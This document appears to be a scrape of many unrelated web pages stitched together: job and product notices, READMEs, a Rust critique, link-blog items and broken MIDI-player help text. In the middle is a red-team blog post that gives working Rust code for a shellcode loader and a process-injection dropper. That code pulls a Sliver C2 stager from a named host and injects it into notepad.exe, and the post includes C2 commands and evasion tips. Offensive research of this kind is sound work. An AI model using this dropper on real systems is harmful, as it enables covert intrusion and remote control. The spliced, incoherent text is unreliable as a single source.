Liva AI (YC S25) is focused on collecting high-quality and proprietary voice and video data. We're actively hiring for a community growth intern. You’ll help us foster a community at Liva AI, with an emphasis on building large online communities.
Job responsibilities:
Grow and manage some online community like a Discord server or subreddit
Manage hundreds to thousands of people online
Communicate regularly with Liva AI team
You must:
Have grown and managed larger Discord servers, Reddit communities, or other large online communities
Have lightening fast response time
Have great flexibility in schedule consistently
No need to send resume, just send me the server/subreddit/community you made with a brief description.
About
Liva AI
Liva's mission is to make AI look and sound truly human. The AI voices and faces today feel off, and lack the capability to reflect diverse people across different ethnicities, races, accents, and career professions. We’re fixing that by building the world’s richest library of human voice and video data, fueling the next generation of realistic AI.
We will provide free autocomplete inference for existing customers for the foreseeable future.
Here’s what you need to know:
Existing users will be fully refunded today for their remaining usage.
We will provide free autocomplete inference for existing customers for the foreseeable future.
We’re sunsetting Supermaven after our acquisition
one year ago
.
After bringing features of Supermaven to Cursor Tab, we now recommend any existing VS Code users to migrate to Cursor. Our
new and improved
autocomplete model has significant improvements.
While deciding the future of Supermaven, we heard feedback from our existing Neovim and JetBrains customers about their love for Supermaven. We will continue to provide autocomplete inference free for these existing customers.
We will no longer support agent conversations, which was a newer addition to the product, infrequently used. We recommend using your frontier model of choice inside Cursor for agentic coding.
Existing customers will receive prorated refunds today for remaining time on their subscription.
A custom implementation of malloc, calloc, realloc, and free in C.
Overview
This project implements a memory allocator from scratch using
sbrk
for small allocations and
mmap
for large allocations. It includes optimizations like block splitting to reduce fragmentation and coalescing to merge adjacent free blocks. Please note that this allocator is
not thread-safe
. Concurrent calls to malloc/free/realloc will cause undefined behavior. I've also written a blog post (~20 minute read) explaining step by step the process behind writing this memory allocator project, if that's of interest, you can read it
here!
Building
Prerequisites
GCC compiler
Make
POSIX-compliant system (Linux, macOS) because we're using
sbrk()
and
mmap()
<- won't work on Windows
Quick Start
make # build everything
make tests # run tests
make bench # run benchmark
I credit
Dan Luu
for his fantastic malloc() tutorial which I greatly enjoyed reading and served as a helpful reference for this project. If you would like to take a look at his tutorial (which I highly recommend), you can find it
here
.
I'd also like to thank Joshua Zhou and Abdul Fatir for reading over and giving me great feedback on the accompanying blog post for this project.
A desktop app for isolated, parallel agentic development
mux has a custom agent loop but much of the core UX is inspired by Claude Code. You'll find familiar features like Plan/Exec mode, vim inputs,
/compact
and new ones
like
opportunistic compaction
and
mode prompts
.
mux is in a Preview state. You will encounter bugs and performance issues.
It's still possible to be highly productive. We are using it almost exclusively for our own development.
See
AGENTS.md
for development setup and guidelines.
License
Copyright (C) 2025 Coder Technologies, Inc.
This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, version 3 of the License.
TL;DR: This blog explores the advantages of using Rust over C for malware development, highlighting Rust's evasive characteristics and challenges for reverse engineering.
Through a hands-on example of a simple shellcode dropper, it demonstrates how Rust can better simulate modern adversarial tactics.
Introduction
One of my New Year’s resolutions for 2025 was to deepen my understanding of malware development, complementing my experience in gaining initial footholds through
web application and API penetration testing
. I was strongly motivated to enhance my own abilities, so I could better simulate real adversarial tactics. For malware development, I chose Rust as the primary programming language for its inherent anti-analysis features – allowing for the development of more evasive tooling. In this blog post, we’ll compare developing malware in Rust compared to its C counterparts and develop a simple malware dropper for demonstration.
Update
Now Featuring Podcast Interview
In addition to this in-depth exploration of Rust for malware development, Bishop Fox Security Consultant Nick Cerne recently discussed his research on the CyberWire’s Research Saturday podcast. The episode delves into the nuances of using Rust to create evasive malware tooling and the challenges it presents for reverse engineering. You can listen to the full conversation here:
Crafting malware with modern metals – Research Saturday Ep. 373
.
Rust VS. C Languages – A Comparative Analysis
At this point, you might be wondering—why Rust? What advantages does using Rust for malware development have over traditional languages like C or C++?
Reverse engineering or analyzing binaries compiled in these languages is more difficult than their C/C++ counterparts.
Malware developed in an unconventional language is much more likely to bypass signature-based detection mechanisms.
In 2023, the Rochester Institute of Technology published a
thesis
which aimed to prove or disprove these hypotheses by performing a comparative analysis of malware developed in Rust and C/C++. The results of the study are summarized by the following facts:
The size of Rust binaries is significantly larger than their C/C++ counterparts, which could increase reverse engineering efforts and complexity.
Automated malware analysis tools produced more false positives and false negatives when analyzing malware compiled in the Rust programming language.
Status quo reverse engineering tools like Ghidra and IDA Free do not do a great job of disassembling Rust binaries as opposed to C/C++.
To explore these results, we can analyze and compare functionally identical shellcode loader samples. Specifically, a sample developed in Rust and the other in C. At a high level, our malware samples will perform the following:
Read raw shellcode bytes from a file that launches
calc.exe.
Write and execute the shellcode in memory of the local process using Windows APIs.
For example, the Rust code snippet can be referenced below:
use std::fs::File;
use std::ptr;
use std::io::{self, Read};
use windows::Win32::{
System::{
Threading::{CreateThread, WaitForSingleObject, THREAD_CREATION_FLAGS, INFINITE},
Memory::{VirtualAlloc, VirtualProtect, MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, PAGE_PROTECTION_FLAGS},
},
Foundation::CloseHandle
};
fn main() {
/* Reading our shellcode into payload_vec */
let mut shellcode_bytes = File::open("shellcode/calc.bin").unwrap();
let mut payload_vec = Vec::new();
shellcode_bytes.read_to_end(&mut payload_vec);
unsafe {
/* Allocating memory in the local process */
let l_address = VirtualAlloc(Some(ptr::null_mut()), payload_vec.len(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
/* Copying shellcode to allocated memory */
ptr::copy(payload_vec.as_ptr(), l_address as *mut u8, payload_vec.len());
/* Modifying memory protections */
VirtualProtect(l_address, payload_vec.len(), PAGE_EXECUTE_READWRITE, &mut PAGE_PROTECTION_FLAGS(0));
/* Creating local thread and running shellcode */
let h_thread = CreateThread(Some(ptr::null()), 0, Some(std::mem::transmute(l_address)), Some(ptr::null()), THREAD_CREATION_FLAGS(0), Some(ptr::null_mut())).unwrap();
WaitForSingleObject(h_thread, INFINITE);
CloseHandle(h_thread);
};
println!("[!] Success! Executed shellcode.");
}
The code first reads the shellcode from
shellcode/calc.bin
and stores the result in a buffer. Subsequently, the code allocates a block of memory in the local process based on the size of the buffer. The shellcode is then copied to the allocated memory. Finally, the memory region's protections are modified, and the shellcode is executed in a new thread. For the sake of brevity, the C equivalent to the above can be referenced on our
Github
.
After compiling both programs, we can immediately see that the Rust program was significantly larger:
PS > dir
...omitted for brevity...
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/18/2025 5:19 PM 73374 c_malware.exe
-a---- 2/18/2025 4:10 PM 155136 rust_malware.exe
The compiled C program had a file size of 71.7 kilobytes (KB) whereas the release build of the Rust program was nearly double the size at 151.5 KB. When using default compiler optimization settings, Rust will statically link dependencies at compile-time. This means that all of the libraries required by the program are compiled directly into the executable, including a large portion of the Rust standard and runtime libraries. In contrast, C typically makes use of dynamic linking, which leverages external libraries installed on the system. While the larger file sizes could be considered a drawback, they could also increase the level of effort and complexity in reverse engineering Rust malware.
We can also determine if Rust malware is more difficult to reverse engineer by looking at the decompiled Ghidra output for both programs. For the sake of brevity, we'll use the Ghidra output and not include IDA Free in our analysis. Now let's look at the decompiled main function of the Rust malware, comparing it to the code above.
The above decompiled output is difficult to read and comprehend. This inability of Ghidra to properly decompile the Rust program is likely due to the following:
Ghidra attempted to decompile the Rust program to pseudo-C; differences in memory management and optimization between the languages resulted in pseudo code that is difficult to understand.
rustc
performs a number of optimizations during compilation, leading to fewer clear function boundaries and highly optimized assembly (ASM) that is difficult to interpret.
The second point can be observed by comparing the ASM of the following Rust program at different compiler optimization levels:
fn add(a: i32, b: i32) -> i32 {
a + b
}
fn main() {
let x = add(3, 4);
println!("{}", x);
}
Our program simply defines a function add and calls it in our main function with two arguments. Next, we can compile the program to unoptimized and optimized ASM using the following
rustc
commands:
We can compare the optimized and unoptimized ASM using
vim -d unoptimized.s optimized.s:
Figure 1: Optimized and Unoptimized ASM Comparison
As shown in the optimized ASM on the left, the symbol definition for the add function is missing, indicating that the function could have been in-lined by
rustc
optimizations at compile-time.
It is also worth noting that, like C++, Rust performs
symbol name mangling
, with semantics specific to Rust. However, Ghidra introduced Rust symbol name de-mangling with release 11.0. Prior to version 11.0, native Rust did not support name de-mangling, which made reverse engineering even more difficult. However, significant strides have been made since then and attempts to de-mangle symbols can be seen in the decompiled output with strings such as
std::fs::impl$8::read_to_end();
which corresponds to
shellcode_bytes.read_to_end(&mut payload_vec);
in our original code.
In contrast, the decompiled C program was much more trivial to review:
The decompiled output of the C program mirrored the source much more closely than its Rust counterparts. Additionally, in Ghidra, key functions and variables were significantly easier to identify in the symbol tree of the C program.
One important operational security (OPSEC) consideration is that Rust will include absolute file paths in compiled binaries, primarily for debugging purposes. Therefore, if OPSEC is important to you, compiling in an environment that doesn't expose identifying characteristics is a good idea.
$ strings ./rust_malware.exe | grep Nick
C:\Users\Nick\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib/rustlib/src/rust\library\alloc\src\raw_vec.rs
C:\Users\Nick\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib/rustlib/src/rust\library\alloc\src\string.rs
In conclusion, Rust could make a great alternative to C/C++ when developing malware. While the 11.0 release of Ghidra marked a significant step towards decompiling and analyzing Rust binaries, reviewing the decompiled output of Rust programs remains difficult due to function inlining and other optimizations made by
rustc
during compile-time. Additionally, the larger resulting binaries could make analyzing Rust malware more time-consuming than their C counterparts. It will be interesting to see what improvements Ghidra team or the open-source community will make in the future to make static analysis of Rust malware easier.
Developing a Rust Malware Dropper
Now with some affirmation that Rust is a solid choice for malware development, let’s build a dropper to demonstrate. A dropper is a form of malware that is designed to install additional malware onto a computer. For our purposes, we will develop a dropper that performs the following:
Enumerates processes on the target for injecting our payload
Payload execution using file mapping injection technique
Stages
sliver
over
HTTPS
Please note that the following malware is not comprehensive, and several improvements could be made from an OPSEC and evasion perspective. The following code snippets are simply to illustrate how Rust can be used for malware development.
First, we will initialize our Rust project and create our first module
enumerate_processes.rs:
use windows::{
Win32::System::ProcessStatus::EnumProcesses,
Win32::Foundation::{CloseHandle, HMODULE},
Win32::System::Threading::{OpenProcess, PROCESS_QUERY_INFORMATION, PROCESS_VM_READ},
Win32::System::ProcessStatus::{GetModuleBaseNameW}
};
pub fn get_process_pids() -> Vec<u32> {
/* Starting with a reasonable buffer size to store our PIDs */
let mut pids = vec![0u32; 1024];
let mut cb = 0u32;
unsafe {
/* Loop to dynamically resize the buffer if it is too small */
loop {
if EnumProcesses(pids.as_mut_ptr(), pids.len() as u32, &mut cb).is_err() {
/* Fail silently */
return vec![];
};
/* Identify number of pids through bytes written */
let num_pids = (cb as usize) / size_of::<u32>();
/* If buffer is larger than number of pids */
if num_pids < pids.len() {
pids.truncate(num_pids);
return pids;
}
pids.resize(pids.len() * 2, 0);
}
}
}
pub fn get_process_name(pid: u32) -> String {
/* Stores the process name into a temporary buffer */
let mut name_buffer: [u16; 260] = [0; 260];
unsafe {
let hresult = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, pid);
if hresult.is_err() {
return String::from("");
};
let handle = hresult.unwrap();
let module_name_len = GetModuleBaseNameW(handle, Some(HMODULE::default()), &mut name_buffer);
CloseHandle(handle);
if module_name_len == 0 {
return String::from("");
}
/* Returns a string decoded from the temporary buffer */
return String::from_utf16_lossy(&name_buffer[..module_name_len as usize]);
}
}
The above code leverages several Windows APIs to enumerate remote processes on the target system. Specifically, the following APIs were used:
EnumProcesses
- Retrieves the process identifiers (PID) for each process in the system and stores the results in an array.
OpenProcess
- Opens a handle to an existing local process object using a specified PID.
GetModuleBaseNameW
- Retrieves the process name using the open handle to the process.
We can quickly create a unit test in the same file to validate that the above code is working as expected.
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_enumerate_processes() {
let pids = get_process_pids();
let has_svchost = pids.iter().any(|&pid| {
match get_process_name(pid) {
name => name == "svchost.exe",
_ => false
}
});
assert!(has_svchost, "No svchost.exe process found");
}
}
After running
cargo test
, we get the following output which indicates the code successfully identified the
svchost.exe
process.
PS > cargo test
...omitted for brevity...
running 1 test
test enumerate_processes::tests::test_enumerate_processes ... ok
test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s
Now that we've created a means to enumerate the remote processes on the system, we should write the code responsible for injecting our payload into a specified process. Before injecting shellcode into a process, a private memory block corresponding to the length of the payload must first be allocated in the target process. To achieve this, attackers commonly make use of the
VirtualAlloc
and
VirtualAllocEx
Windows APIs, which allocate memory directly in the specified process. Therefore, the process of allocating private memory using this method is highly monitored by security solutions. Alternatively, we can use a technique called Remote Mapping Injection which is capable of allocating memory using lesser-known Windows APIs:
CreateFileMapping
- Creates a file mapping object which will contain the length of our payload.
MapViewOfFile
- Maps a view of the file mapping object into the local address space.
MapViewOfFileNuma2
- Maps a view of the file mapping object into a remote process's address space, which includes our payload.
It's important to note that before calling
MapViewOfFileNuma2
, the payload must first be copied into the local address space created when calling
MapViewOfFile
. Once the payload is copied to the remote process, we'll utilize the
CreateRemoteThread
API to execute it.
CreateRemoteThread
is another highly monitored Windows API, but we'll use it for the sake of brevity and to avoid adding further complexity to our example.
For testing purposes, we'll simply attempt to inject
calc.exe
shellcode into the memory of the
notepad.exe
process.
After running our unit test, we can see that
calc.exe
was successfully injected and executed in memory of
notepad.exe.
Figure 2: Calc.exe Successfully Injected and Executed in Memory of notepad.exe
Additionally, we can view our payload in the memory regions of
notepad.exe
immediately after the payload is copied to the remote process using
x64dbg.exe
:
Figure 3: Payload in Memory Regions of Notepad.exe
As demonstrated, our payload was successfully copied to the
0x20efa400000
memory address of
notepad.exe
and our payload was executed.
Now we should first set up our
sliver
C2 environment (
get sliver here
). For simplicity, we'll just be interacting directly with our C2 server since we don't need to worry about hiding it in our testing environment. We can set up an HTTPS stage listener using the following commands:
sliver > profiles new --http sliver.nrcerne.com --format shellcode sliver-https
[*] Saved new implant profile sliver-https
sliver > stage-listener --url https://sliver.nrcerne.com:8886 --profile sliver-https --prepend-size
[*] No builds found for profile sliver-https, generating a new one
[*] Sliver name for profile sliver-https: PROFITABLE_ALUMINIUM
[*] Job 1 (https) started
Next, we should set up an HTTPS listener:
sliver > https
[*] Successfully started job #10
Finally, we need to generate our stager and serve it from our C2 infrastructure.
generate stager --protocol https --lhost sliver.nrcerne.com --lport 8886 -f raw
--save /tmp
[*] Sliver implant stager saved to: /tmp/DULL_EQUIPMENT
Now we can modify
main.rs
to download and execute our sliver stager in the context of
notepad.exe
. Note that a simple HTTPS client was developed using the
reqwest
library to retrieve our shellcode.
mod enumerate_processes;
mod remote_mapping_injection;
mod http_client;
fn main() {
let url = String::from("https://sliver.nrcerne.com:8444/DULL_EQUIPMENT");
let shellcode = http_client::get_payload_bytes(url).unwrap();
let pids = enumerate_processes::get_process_pids();
let mut p_name: String;
for p in pids {
p_name = enumerate_processes::get_process_name(p);
if p_name == "notepad.exe" {
remote_mapping_injection::inject(p, &shellcode);
}
}
}
After running the executable, we observe the following connect back to our sliver server indicating that our stager was successfully executed in memory of
notepad.exe
.
[*] Session 7f947e00 PROFITABLE_ALUMINIUM - 3.81.150.232:49807 (EC2AMAZ-999SMRM) - windows/amd64 - Tue, 25 Feb 2025 00:44:18 UTC
sliver > sessions
ID Transport Remote Address Hostname Username Operating System Health
========== =========== ===================== ================= =============== ================== =========
7f947e00 http(s) 3.81.150.232:49807 EC2AMAZ-999SMRM Administrator windows/amd64 [ALIVE]
sliver > use 7f947e00
[*] Active session PROFITABLE_ALUMINIUM (7f947e00-3b9a-4ef0-ad83-06a31a44c9f9)
sliver (PROFITABLE_ALUMINIUM) > whoami
Logon ID: EC2AMAZ-999SMRM\Administrator
As demonstrated, Rust could make a great alternative for malware development and can easily be used to stage
sliver
or perform other malicious actions. As aforementioned, several improvements could be made to the above example from an OPSEC and evasion standpoint, but a simple dropper was sufficient for our demonstration.
As you are probably already aware, malware development is a constantly evolving game of cat and mouse, requiring constant refinement and development of new techniques to remain effective as security solutions evolve in tandem. Although the process has been challenging so far in 2025, it has also been very rewarding, providing me with valuable insights into Windows internals and modern evasion techniques. Additionally, learning a cool new systems level language was a great byproduct for pursuing other low-level projects!
Iowa City Made Its Buses Free. Traffic Cleared, and So Did the Air
I used to call myself a Rust hater, but really I was doing it just to compensate for the perceivable fanboyism e.g. Rust tops on stackoverflow surveys as most-loved language. There are many reasons to hate C++, and I hate C++ too. Lots of people were waiting for a better programming language, but got Rust instead.
There are several core problems with Rust:
Its compilation is slow. I mean SLOW. Slower than C++.
I know over years Rust became several times faster, but objectively we need it to be two orders of magnitude faster, not just two times.
It’s complex. Just as complex as C++. But C++ had legacy and Rust had not. The complexity of forcing your way through the jungle of
Arc<Mutex<Box<T>>>
on every single step directly impacts the quality of the logic being implemented i.e. you can’t see the forest for the trees. Once again, C++ has the same problem, so what’s the point of the language switch in the end?
Memory safety is not that sacred. In fact, for many applications malfunctioning is better than crashing — particulary in the embedded world where Rust wants to be present. You cannot get 99.999% reliability with Rust — it crashes all the time.
When handling lots of mutable shared state (GUI, DB, stateful services, OS/hardware), the performance of native Rust memory model is subpar, and non-native unsafes just leave you with slow compilation, high complexity, and no memory safety in the end — which makes Rust practically meaningless for heavy mutable state jobs.
C++ actually sucks
There is no doubt about it. Undefined behavior (UB) is a fundamental aspec of the language, you don’t simply encounter UB — the whole language is built on UB. You do array indexing and you immediately encounter UB because the language just does not check out of bound access. I want to emphasize that lots of UB-s are not even justified by performance matters — it’s an outright sloppy design of C carried over and amplified in C++. I can go all day long about how C++ sucks:
implicit type conversions, implicit copies, implicit constructors, implicit object slicing, and pretty much everything implicit;
function overloading (implicit), particulary considering its omnipresence in STL;
non-uniform error handling with exceptions as afterthought;
still #include-ing text files 40 years after C and One Definition Rule barely checked by compilers;
unsound combination of paradigms (good luck overriding a generic function in descendant classes);
SFINAE nuisance as a core mechanism of generic programming;
T, T&, T*, std::optional
, std::unique_ptr
to describe similar things, each broken in its own way. Put a const cherry on top of it.
So C++ is complex, unsafe, and it’s compiler is slow. How does the Rust (not) fix those issues?
Rust FAQ
explains that there are many efforts to optimize it, like better frontend, MIR, and so on. But MIR effort was started at 2015 and it still fails to significantly quicken the compilation (although it speeds up compiler checks).
Unfortunately, it’s impossible to make Rust compile fast. The problem is inherent to all similar generics-heavy languages, like Haskell. Arguably, Rust is closer to Haskell than it is to C++. You can also say it’s close to a template-heavy C++ — and template-heavy C++ code exhibits the same problem of slow compilation.
When you do
for i in 0..limit {}
— you don’t just iterate, you create a range, you create an iterator, you iterate over it — all of it monomorphized to your concrete types and have to be optimized individually (non-optimized Rust code is insanely slow, it’s mostly unusable even for debugging).
Put a non-optional borrow-checker on top of it — and there you have your insanely slow compiler. And you WILL recompile a lot, because borrow checker is relentless.
2. Complexity
You just cannot avoid it. You cannot go along like “I’m writing a cold path high-level code, I don’t need performance, I don’t need to go deeper into lifetime handling, I just want to write a high level logic”. You will be forced into the low level nuances every time you write a single line of Rust. There is no garbage collector for Rust and will never be — you will have to semi-manually pack all your data into a tree of ownership. You have to be fluent in ownership, borrowing, traits to write just a few lines of code.
As I’ve already mentioned, this makes it very hard to write high-level logic in Rust. That’s why many of early Rust adopters actually revert to Node.js and Go for less performance-sensitive services — high complexity combined with slow compilation makes it impractical to write anything complex in sole Rust.
3. Memory safety
There are two uncompromising things in the Rust fundament: performance and memory safety. I have to argue that Rust designers went wa-a-ay overboard with memory safety. You know the containers are actually implemented with
unsafe
functions, because there is just no perfect correctness possible in the Turing machine model — you have to build safe programs from carefully arranged unsafe building blocks. Node.js and Go are considered practically safe language. Rust sacrificed sanity and practicality for memory safety — and gets none of them at the end of the day, it’s still not 100% memory safe.
Now speaking about practicality — lots of use cases just don’t need perfect memory safety. There are ways to implement unsafe programs that still don’t execute remote code or leak secret — they only corrupt user data and act sporadically. If a pacemaker stops — telling a victim “but the memory was not corrupted in the crash” is a weak consolation. We actually had a recent Cloudflare outage caused by a crash on
unwrap()
function:
https://blog.cloudflare.com/18-november-2025-outage/
It’s probably the strongest point of my whining:
Rust is memory safe and unreliable. The price of memory safety was reliability
in addition to the developer’s sanity — that’s why I’m telling the language designers went overboard. They sacrificied core practical quality for an abstract principle of memory safety. Just like Haskell designers sacrificed practicality for purity — that’s why I reiterate on parallels between Rust and Haskell.
It’s possible, but employing mutable shared state in Rust just makes no sense. You lose most of advantages and are left with all the deficiencies of Rust. Pretty much all of the successful Rust projects are employing shared read-only state, one way data flow, acyclic data structures: rustc compiler, mdbook and pulldown-cmark Markdown tools, Actix and Axum for stateless handlers, append-only blockchains, single-threaded WASM. The model is, once again, very similar to Haskell, which also excels in parsers, stateless handler, mostly-non-interactive CLI tools, and was employed in blockchains.
Early prototypes of Rust actually had Software Transactional Memory (STM) as an option for safe concurrency, however, STM has performance penalties and it requires simple but significant runtime support.
Step into the shared mutable state — and there a memory corruption is not an exception, it’s a rule. You have to handle the corruptions, you cannot simply crash. Borrow checker, ownership? Just useless, you cannot analyze ownership in a cyclic graph without GC-like algorithm.
Sync/Send, Mutex and reference counting (Arc)? Unfortuantely, those lock or simply mess with CPU caches badly, so they are inefficient for multithreaded communication, at least an intensive one. They are safe, but inefficient. Which kinda destroys the first uncompromising thing in Rust — performance. So, to reiterate, the second you step into the shared mutable state you lose every single advantage of Rust. Which is kinda rational considering that the main concept of Rust was to never employ a shared mutable state.
Particulary, GUI is a mutable shared state. Hence we don’t see any big GUI projects in Rust.
Zed IDE
is still beta for so many years — I can almost feel the pain of the developers hacking their way through the borrow checker jungle just to realize their logic is bug-ridden, and they are yet to implement dozens of other features.
Big databases, scalable stateful services, operating systems, at least significant Linux modules? Yet to be seen.
Summary
So, is the Rust bad or good? It’s neither. It’s a mediocre programming language with thousands of man-month put into its development — this fact alone makes Rust a viable tool, just because you can pick it from the shelf and employ as-is. This blog was generated with Zola, written in Rust — I did not have to write a single line of Rust code to use it. And the Rust is a good fit for Zola SSG because of its non-interactive nature with one-way flow of immutable data. Just, please, don’t run around screaming “we should all switch our development to Rust because it’s the best programming language”.
Earlier I described
surface testing
, which is still how I go about testing systems.
Lately, I co-developed a system that performs document extraction partly with the help of LLMs, which brought an interesting twist: we have dozens of test cases where we extract the documents and assert things about them. Running the whole thing, however, takes 20-30 minutes and costs 1-2 bucks, simply because of the LLM calls.
I’ve resisted the temptation to write mocks for these. I’ve also resisted the stronger temptation to not run extractions as part of the test suite. Instead, we just cache the results of previous extractions, so that we can save on time and money when running the tests. This has the following advantages over mocking:
No manual copy-pasting required: the test suite itself creates the caches when running.
In the absence of a cache, you can simply recreate it by running the tests.
We can override some (or all) caches to re-test that part.
All the non-external parts of the code still run every time.
The caches are accessed by a conditional piece of code that only works in local development. The data stored in the file is exactly what we’d get from the external call. I believe this can be used for most surface testing that involves slow, expensive calls.
The trigger for renewing the caches is when the logic in question is being re-tested. When other parts of the system are tested, they can still rely on the extraction suite without paying a performance cost.
"Good engineering management" is a fad
Simon Willison
simonwillison.net
2025-11-23 21:29:09
"Good engineering management" is a fad
Will Larson argues that the technology industry's idea of what makes a good engineering manager changes over time based on industry realities. ZIRP hypergrowth has been exchanged for a more cautious approach today, and expectations of managers has cha...
"Good engineering management" is a fad
(
via
) Will Larson argues that the technology industry's idea of what makes a good engineering manager changes over time based on industry realities. ZIRP hypergrowth has been exchanged for a more cautious approach today, and expectations of managers has changed to match:
Where things get weird is that in each case a morality tale was subsequently superimposed on top of the transition [...] the industry will want different things from you as it evolves, and it will tell you that each of those shifts is because of some complex moral change, but it’s pretty much always about business realities changing.
I particularly appreciated the section on core engineering management skills that stay constant no matter what:
Execution
: lead team to deliver expected tangible and intangible work. Fundamentally, management is about getting things done, and you’ll neither get an opportunity to begin managing, nor stay long as a manager, if your teams don’t execute. [...]
Team
: shape the team and the environment such that they succeed. This is
not
working for the team, nor is it working for your leadership, it is finding the balance between the two that works for both. [...]
Ownership
: navigate reality to make consistent progress, even when reality is difficult Finding a way to get things done, rather than finding a way that it not getting done is someone else’s fault. [...]
Alignment
: build shared understanding across leadership, stakeholders, your team, and the problem space. Finding a realistic plan that meets the moment, without surprising or being surprised by those around you. [...]
Will goes on to list four additional growth skill "whose presence–or absence–determines how far you can go in your career".
GANA Payment hacked for $3.1 million
Web3 Is Going Great
web3isgoinggreat.com
2025-11-23 21:28:49
An attacker stole approximately $3.1 million from the BNB chain-based GANA Payment project. The thief laundered about $1 million of the stolen funds through Tornado Cash shortly after. The attacker was able transfer ownership of the GANA contract to themselves, possibly after a private key ...
An attacker stole approximately $3.1 million from the BNB chain-based GANA Payment project. The thief laundered about $1 million of the stolen funds through Tornado Cash shortly after. The attacker was able transfer ownership of the GANA contract to themselves, possibly after a
private key
leak.
The theft was first observed by crypto sleuth zachxbt. Not long after, the project acknowledged on its Twitter account that "GANA's interaction contract has been targeted by an external attack, resulting in unauthorized asset theft."
I'm working today in the internals of FeedLand, specifically the code that determines if an item has changed. When we check a feed, we check each item, if the item already exists, we look at each of the values stored for the item compared with their new values in the feed, and if any have changed, we broadcast the message that the item has changed. I'm doing a complete review of this, based on actual data, and found there were a fair number of places we were calling a change, when nothing that mattered had changed. Now I'm debating whether or not a
pubDate
change should be seen as an item change. My initial thought when we were working on RSS, was that the pubDate should
never
change. In the real world of publishing I don't think the publication date changes. Right? Of course some feeds do change the pubDate because that's the
art of feeds
(sorry for the sarcasm). But I don't think FeedLand should call that a change. Wondering what other feed developers do? So I asked ChatGPT. This is incredibly valuable
.jpg){kind=logo}
button!
folder or ".m3u"
play list. Adjust playback speed, volume and output device on-the-fly during playback. A large playback progress bar makes jumping forward and backward in time a breeze with just a single click or tap. Supports ".mid", ".midi" and ".rmi" files in format 0 (single track) and format 1 (multi-track). Comes complete with 25 sample midis ready to play.
Mixer" link - display Windows "Volume Mixer" app
Nav - Toggle display of navigation panel
Prev - Play previous midi file in list
Rewind - Shift playback position back several seconds
Stop - Stop playback
Play - Toggle playback: When playing (
Fast Forward - Shift playback position forward several seconds
Next - Play next midi file in list
Menu - Show menu
Options - Show the Options window, to change Cynthia's appearance
Help - Show (from rightmost column) or hide built-in help
Home" entry at top of list (scroll up if not visible). The list will refresh with the names of your hard drives, pen sticks and other local storage devices. Double click a drive, then the subsequent folder(s) to the one that you want to play.
Refresh - Refresh the playback list
Fav - Show the "Favourites" window. Use this handy window to maintain a list of your favourite folders for quick access.
Back - Go to the previous folder in navigation history
Forward - Go to the next folder in navigation history
Open" link (if shown) or "
Edit >
Save As" link (if shown) or "
Copy All" link (if shown) or "
Replace" link (if shown) or "
New - Prompt to clear playlist
Cut - Cut selected playlist item to Clipboard
Undo - Undo last change to playlist
Color" tab to show list of color schemes.
(top right) and tick "On Top" option. Alternatively, click "Options > Settings" and select "Display > On Top" option.
$\displaystyle{{\large \textrm{Artin's Relation}: x_i \, x_{i+1} \, x_i = x_{i+1} \, x_i \, x_{i+1}}}$
Nov 21, 2025
